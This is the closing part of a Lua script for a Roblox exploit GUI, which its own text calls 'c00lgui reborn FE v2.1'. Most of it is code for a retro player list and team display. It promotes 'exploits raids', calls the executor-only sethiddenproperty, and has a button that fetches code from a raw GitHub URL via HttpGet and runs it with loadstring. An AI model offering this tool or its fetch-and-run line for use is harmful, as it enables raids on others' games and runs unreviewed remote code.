RemovePlayerFromTeam(entry['MyTeam'],j) return end end elseif NeutralTeam then for j,oldEntry in ipairs(NeutralTeam['MyPlayers']) do if oldEntry['Player'] == entry['Player'] then RemovePlayerFromTeam(NeutralTeam,j) return end end end end --[[ removes a single player from a given team (not usually called directly) @Args: teamEntry team entry to remove player from index index of player in 'MyPlayers' list to remove --]] function RemovePlayerFromTeam(teamEntry,index) table.remove(teamEntry['MyPlayers'],index) --if teamEntry['AutoHide'] and #teamEntry['MyPlayers'] == 0 then if teamEntry==NeutralTeam and #teamEntry['MyPlayers']==0 then RemoveNeutralTeam() end end --[[ adds player entry entry to teamentry removes them from any previous team @Args: teamEntry entry of team to add player to entry player entry to add to this team --]] function AddPlayerToTeam(teamEntry,entry) FindRemovePlayerFromTeam(entry) table.insert(teamEntry['MyPlayers'],entry) entry['MyTeam'] = teamEntry if teamEntry['IsHidden'] then teamEntry['Frame'].Parent = ListFrame AddMiddleBGFrame() end teamEntry['IsHidden'] = false end function SetPlayerToTeam(entry) FindRemovePlayerFromTeam(entry) -- check to see if team exists, if it does add to that team local setToTeam = false for i,tframe in ipairs(TeamFrames) do -- add my entry on the new team if tframe['MyTeam'].TeamColor == entry['Player'].TeamColor then AddPlayerToTeam(tframe,entry) setToTeam = true end end -- if player was set to an invalid team, then set it back to neutral if not setToTeam and #(game.Teams:GetTeams())>0 then debugprint(entry['Player'].Name..'could not find team') entry['MyTeam']=nil if not NeutralTeam then AddNeutralTeam() else AddPlayerToTeam(NeutralTeam,entry) end end end --[[ Note:another big one, consiter breaking up called when any children of player changes handles 'Neutral', teamColor, Name and MembershipType changes @Args entry Player entry changed property name of property changed --]] function PlayerChanged(entry, property) while PlayerChangedLock do debugprint('in playerchanged lock') wait(1/30) end PlayerChangedLock=true if property == 'Neutral' then -- if player changing to neutral if entry['Player'].Neutral and #(game.Teams:GetTeams())>0 then debugprint(entry['Player'].Name..'setting to neutral') FindRemovePlayerFromTeam(entry) entry['MyTeam']=nil if not NeutralTeam then debugprint(entry['Player'].Name..'creating neutral team') AddNeutralTeam() else debugprint(entry['Player'].Name..'adding to neutral team') AddPlayerToTeam(NeutralTeam,entry) end elseif #(game.Teams:GetTeams())>0 then -- else player switching to a team, or a weird edgecase debugprint(entry['Player'].Name..'has been set non-neutral') SetPlayerToTeam(entry) end BaseUpdate() elseif property == 'TeamColor' and not entry['Player'].Neutral and entry['Player'] ~= entry['MyTeam'] then debugprint(entry['Player'].Name..'setting to new team') SetPlayerToTeam(entry) BaseUpdate() elseif property == 'Name' or property == 'MembershipType' then entry['Frame']:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(entry['Player'].MembershipType,entry['Player'].Name) entry['Frame'].Name = entry['Player'].Name entry['Frame'].TitleFrame.Title.Text = entry['Player'].Name if(entry['Frame'].BCLabel.Image ~= '') then entry['Frame'].TitleFrame.Title.Position=UDim2.new(.01, 30, .1, 0) end if entry['Player'] == LocalPlayer then entry['Frame'].TitleFrame.DropShadow.Text= entry['Player'].Name ChangeHeaderName(entry['Player'].Name) end BaseUpdate() end PlayerChangedLock=false end function OnFriendshipChanged(player,friendStatus) Delay(.5,function() debugprint('friend status changed for:'..player.Name .." ".. tostring(friendStatus) .. " vs " .. tostring(GetFriendStatus(player)) ) for _, entry in ipairs(PlayerFrames) do if entry['Player']==player then local nicon = getFriendStatusIcon(friendStatus) if nicon == '' and entry['Frame'].FriendLabel.Image ~= '' then entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position-UDim2.new(0,17,0,0) elseif nicon ~= '' and entry['Frame'].FriendLabel.Image == '' then entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position+UDim2.new(0,17,0,0) debugprint('confirmed status:'..player.Name) end entry['Frame'].FriendLabel.Image = nicon return end end end) end --LocalPlayer.FriendStatusChanged:connect(OnFriendshipChanged) --[[ adds a neutral team if nessisary Note: a lot of redundant code here, might want to refactor to share a function with insertteamframe --]] function AddNeutralTeam() if not TEAMS_ENABLED then return end while NeutralTeamLock do debugprint('in neutral team 2 lock') wait() end NeutralTeamLock = true local defaultTeam = Instance.new('Team') defaultTeam.TeamColor = BrickColor.new('White') defaultTeam.Name = 'Neutral' local nentry = {} nentry['MyTeam'] = defaultTeam nentry['MyPlayers'] = {} nentry['Frame'] = MiddleTemplate:Clone() WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = defaultTeam.Name nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0) nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0) nentry['Frame'].TitleFrame.Title.Font = 'ArialBold' nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0) WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end) nentry['Frame'].ClickListener.BackgroundColor3 = Color3.new(1,1,1) nentry['Frame'].ClickListener.BackgroundTransparency = .7 nentry['Frame'].ClickListener.AutoButtonColor=false nentry['AutoHide'] = true nentry['IsHidden'] = true for _,i in pairs(PlayerFrames) do if i['Player'].Neutral or not i['MyTeam'] then AddPlayerToTeam(nentry,i) end end if #nentry['MyPlayers'] > 0 then NeutralTeam = nentry UpdateMinimize() BaseUpdate() end NeutralTeamLock = false end function RemoveNeutralTeam() while NeutralTeamLock do debugprint('in neutral team lock') wait() end NeutralTeamLock = true NeutralTeam['Frame']:Destroy() NeutralTeam=nil RemoveMiddleBGFrame() NeutralTeamLock = false end --[[ --]] function TeamScoreChanged(entry,nscore) WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nscore) entry['TeamScore'] = nscore end --[[ called when child added to a team, used for autohide functionality Note: still has teamscore, consiter removing --]] function TeamChildAdded(entry,nchild) if nchild.Name == 'AutoHide' then entry['AutoHide'] = true elseif nchild.Name == 'TeamScore' then WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nchild.Value) entry['TeamScore'] = nchild.Value nchild.Changed:connect(function() TeamScoreChanged(entry,nchild.Value) end) end end --[[ called when child added to a team, used for autohide functionality Note: still has teamscore, consiter removing --]] function TeamChildRemoved(entry,nchild) if nchild.Name == 'AutoHide' then entry['AutoHide'] = false elseif nchild.Name == 'TeamScore' then WaitForChild(entry['Frame'],'PlayerScore').Text = "" entry['TeamScore'] = nil end end function TeamChanged(entry, property) if property=='Name' then WaitForChild(WaitForChild(entry['Frame'],'TitleFrame'),'Title').Text = entry['MyTeam'].Name elseif property=='TeamColor' then entry['Frame'].ClickListener.BackgroundColor3 = entry['MyTeam'].TeamColor.Color for _,i in pairs(TeamFrames) do if i['MyTeam'].TeamColor == entry['MyTeam'] then RemoveTeamFrame(entry['MyTeam']) --NO DUPLICATE TEAMS! end end entry['MyPlayers']={} for _,i in pairs(PlayerFrames) do SetPlayerToTeam(i) end BaseUpdate() end end --[[ creates team entry and frame for this team, sets up listeners for this team adds any players intended for this team,Creates neutral team if this is the first team added Note:might be best to break this into multiple functions to simplify @Args: nteam new team object added --]] function InsertTeamFrame(nteam) if not TEAMS_ENABLED then return end while AddingFrameLock do debugprint('in adding team frame lock') wait(1/30) end AddingFrameLock = true --for _,i in pairs(TeamFrames) do local nentry = {} nentry['MyTeam'] = nteam nentry['MyPlayers'] = {} nentry['Frame'] = MiddleTemplate:Clone() WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = nteam.Name nentry['Frame'].TitleFrame.Title.Font = 'ArialBold' nentry['Frame'].TitleFrame.Title.FontSize = 'Size18' nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0) nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0) nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0) WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end) nentry['Frame'].ClickListener.BackgroundColor3 = nteam.TeamColor.Color nentry['Frame'].ClickListener.BackgroundTransparency = .7 nentry['Frame'].ClickListener.AutoButtonColor=false AddId = AddId + 1 nentry['ID'] = AddId nentry['AutoHide'] = false if nteam:FindFirstChild('AutoHide') then nentry['AutoHide'] = true end if nteam:FindFirstChild('TeamScore') then TeamChildAdded(nentry,nteam.TeamScore) end nteam.ChildAdded:connect(function(nchild) TeamChildAdded(nentry,nchild) end) nteam.ChildRemoved:connect(function(nchild) TeamChildRemoved(nentry,nchild) end) nteam.Changed:connect(function(prop) TeamChanged(nentry,prop) end) for _,i in pairs(PlayerFrames) do if not i['Player'].Neutral and i['Player'].TeamColor == nteam.TeamColor then AddPlayerToTeam(nentry,i) end end nentry['IsHidden'] = false if not nentry['AutoHide'] or #nentry['MyPlayers'] > 0 then nentry['Frame'].Parent = ListFrame nentry['Frame']:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true) AddMiddleBGFrame() else nentry['IsHidden'] = true nentry['Frame'].Parent = nil end table.insert(TeamFrames,nentry) UpdateMinimize() BaseUpdate() if #TeamFrames == 1 and not NeutralTeam then AddNeutralTeam() end AddingFrameLock = false end --[[ removes team from team list @Args: nteam Teamobject to remove --]] function RemoveTeamFrame(nteam) while AddingFrameLock do debugprint('in removing team frame lock') wait(1/30) end AddingFrameLock = true if IsMinimized.Value then end local myEntry for i,key in ipairs(TeamFrames) do if nteam == key['MyTeam'] then myEntry = key key['Frame']:Destroy() table.remove(TeamFrames,i) end end if #TeamFrames==0 then debugprint('removeteamframe, remove neutral') if NeutralTeam then RemoveNeutralTeam() end end for i,key in ipairs(myEntry['MyPlayers']) do RemovePlayerFromTeam(myEntry,i) PlayerChanged(key, 'TeamColor') end RemoveMiddleBGFrame() BaseUpdate() AddingFrameLock = false end function TeamAdded(nteam) InsertTeamFrame(nteam) end function TeamRemoved(nteam) RemoveTeamFrame(nteam) end --------------------------------- --[[ called when ANYTHING changes the state of the playerlist re-sorts everything,assures correct positions of all elements --]] function BaseUpdate() while BaseUpdateLock do debugprint('in baseupdate lock') wait(1/30) end BaseUpdateLock = true --print ('baseupdate') UpdateStatNames() if #TeamFrames == 0 and not NeutralTeam then PlayerListModeUpdate() else TeamListModeUpdate() end for i,key in ipairs(MiddleFrames) do if key.Parent ~= nil then key:TweenPosition(UDim2.new(.5,0,((#MiddleFrames - (i)) * key.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true) end end if not IsMinimized.Value and #MiddleFrames>DefaultEntriesOnScreen then UpdateScrollPosition() end UpdateMinimize() UpdateScrollBarSize() UpdateScrollPosition() UpdateScrollBarVisibility() --debugprint('EndBaseUpdate') BaseUpdateLock = false end --[[ code for attaching tab key to maximizing player list --]] --game.GuiService:AddKey("\t") local LastTabTime = time() Mouse.KeyDown:connect( function(key) if key == "\t" then debugprint('caught tab key') local modalCheck, isModal = pcall(function() return game.GuiService.IsModalDialog end) if modalCheck == false or (modalCheck and isModal == false) then if time() - LastTabTime > 0.4 then LastTabTime = time() if IsTabified.Value then if not IsMaximized.Value then ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true) IsMaximized.Value = true else ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true) IsMaximized.Value = false IsMinimized.Value=true end else ToggleMaximize() end end end end end) function PlayersChildAdded(tplayer) if tplayer:IsA('Player') then Spawn(function() debugPlayerAdd(tplayer) end) else BlowThisPopsicleStand() end end function coreGuiChanged(coreGuiType, enabled) -- if coreGuiType == Enum.CoreGuiType.All or coreGuiType == Enum.CoreGuiType.PlayerList then -- MainFrame.Visible = enabled -- end end function TeamsChildAdded(nteam) if nteam:IsA('Team') then TeamAdded(nteam) else BlowThisPopsicleStand() end end function TeamsChildRemoved(nteam) if nteam:IsA('Team') then TeamRemoved(nteam) else BlowThisPopsicleStand() end end ---------------------------- -- Hookups and initialization ---------------------------- function debugPlayerAdd(p) InsertPlayerFrame(p) end pcall(function() coreGuiChanged(Enum.CoreGuiType.PlayerList, Game.StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList)) Game.StarterGui.CoreGuiChangedSignal:connect(coreGuiChanged) end) while not game:GetService('Teams') do wait(1/30) debugprint('Waiting For Teams') end for _,i in pairs(game.Teams:GetTeams()) do TeamAdded(i) end for _,i in pairs(Players:GetPlayers()) do Spawn(function() debugPlayerAdd(i) end) end game.Teams.ChildAdded:connect(TeamsChildAdded) game.Teams.ChildRemoved:connect(TeamsChildRemoved) Players.ChildAdded:connect(PlayersChildAdded) InitReportAbuse() AreNamesExpanded.Value = true BaseUpdate() --UGGGLY,find a better way later --wait(2) IsPersonalServer= not not game.Workspace:FindFirstChild("PSVariable") ---------------------------- -- Running Logic ---------------------------- --debug stuffs, will only run for 'newplayerlistisbad' if LocalPlayer.Name == 'newplayerlistisbad' or LocalPlayer.Name == 'imtotallyadmin' then debugFrame.Parent = ScreenGui Spawn(function() while true do local str_players='' for _,i in pairs(game.Players:GetPlayers()) do str_players= str_players .." " .. i.Name end debugplayers.Text=str_players wait(.5) end end) end end) end coroutine.wrap(PLEGWK_fake_script)() local function ZGBJWN_fake_script() -- oldgraphics.LocalScript local script = Instance.new('LocalScript', oldgraphics) script.Parent.MouseButton1Click:Connect(function() local cc = Instance.new("ColorCorrectionEffect") local lighting = game:GetService("Lighting") --// hd killer local ihateu = {"DepthOfFieldEffect", "SunRaysEffect", "BloomEffect", "BlurEffect", "ColorCorrectionEffect", "Atmosphere"} for i, v in pairs(lighting:GetChildren()) do for index, value in ipairs(ihateu) do if v:IsA(value) then v:Destroy() end end end --// setup lighting.GlobalShadows = false sethiddenproperty(lighting, "Technology", Enum.Technology.Compatibility) end) end coroutine.wrap(ZGBJWN_fake_script)() local function XDVNK_fake_script() -- oldcons.LocalScript local script = Instance.new('LocalScript', oldcons) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/modules/old_console.lua"))(); end) end coroutine.wrap(XDVNK_fake_script)() local function DMMYFZN_fake_script() -- oldcursor.LocalScript local script = Instance.new('LocalScript', oldcursor) script.Parent.MouseButton1Click:Connect(function() local mouse = game:GetService("Players").LocalPlayer:GetMouse() mouse.Icon = 'rbxasset://textures/ArrowFarCursor.png' end) end coroutine.wrap(DMMYFZN_fake_script)() local function NXFAQE_fake_script() -- no5.LocalScript local script = Instance.new('LocalScript', no5) script.Parent.MouseButton1Click:Connect(function() end) end coroutine.wrap(NXFAQE_fake_script)() local function TGZEQUZ_fake_script() -- no3.LocalScript local script = Instance.new('LocalScript', no3) script.Parent.MouseButton1Click:Connect(function() end) end coroutine.wrap(TGZEQUZ_fake_script)() local function HZUQ_fake_script() -- no2.LocalScript local script = Instance.new('LocalScript', no2) script.Parent.MouseButton1Click:Connect(function() end) end coroutine.wrap(HZUQ_fake_script)() local function XQUP_fake_script() -- no.LocalScript local script = Instance.new('LocalScript', no) script.Parent.MouseButton1Click:Connect(function() end) end coroutine.wrap(XQUP_fake_script)() local function NIYLZA_fake_script() -- no4.LocalScript local script = Instance.new('LocalScript', no4) script.Parent.MouseButton1Click:Connect(function() end) end coroutine.wrap(NIYLZA_fake_script)() local function KQEL_fake_script() -- Text.LocalScript local script = Instance.new('LocalScript', Text) script.Parent.Text = "Thank you for using c00lgui reborn FE v2.1.\n \nNeed support or changelogs? \n \nJoin us : discord.gg/cSH24nTFWV \n \nPrepare for 12/07/2023 exploits raids! \n \nSpecial thanks to : Mokny, USD317, NiceMan And everyone from team c00lkidd! \n \nShoutout to MasterMZ for showcasing the script!" end coroutine.wrap(KQEL_fake_script)() local function EJUCANX_fake_script() -- CloseOpen.LocalScript local script = Instance.new('LocalScript', CloseOpen) script.Parent.MouseButton1Click:Connect(function() if script.Parent.Text == "Close" then script.Parent.Parent.Frame.Visible = false script.Parent.Text = "Open" else script.Parent.Parent.Frame.Visible = true script.Parent.Text = "Close" end end) end coroutine.wrap(EJUCANX_fake_script)() local function LAUV_fake_script() -- c00lguiFE.LocalScript local script = Instance.new('LocalScript', c00lguiFE) print("xD") end coroutine.wrap(LAUV_fake_script)()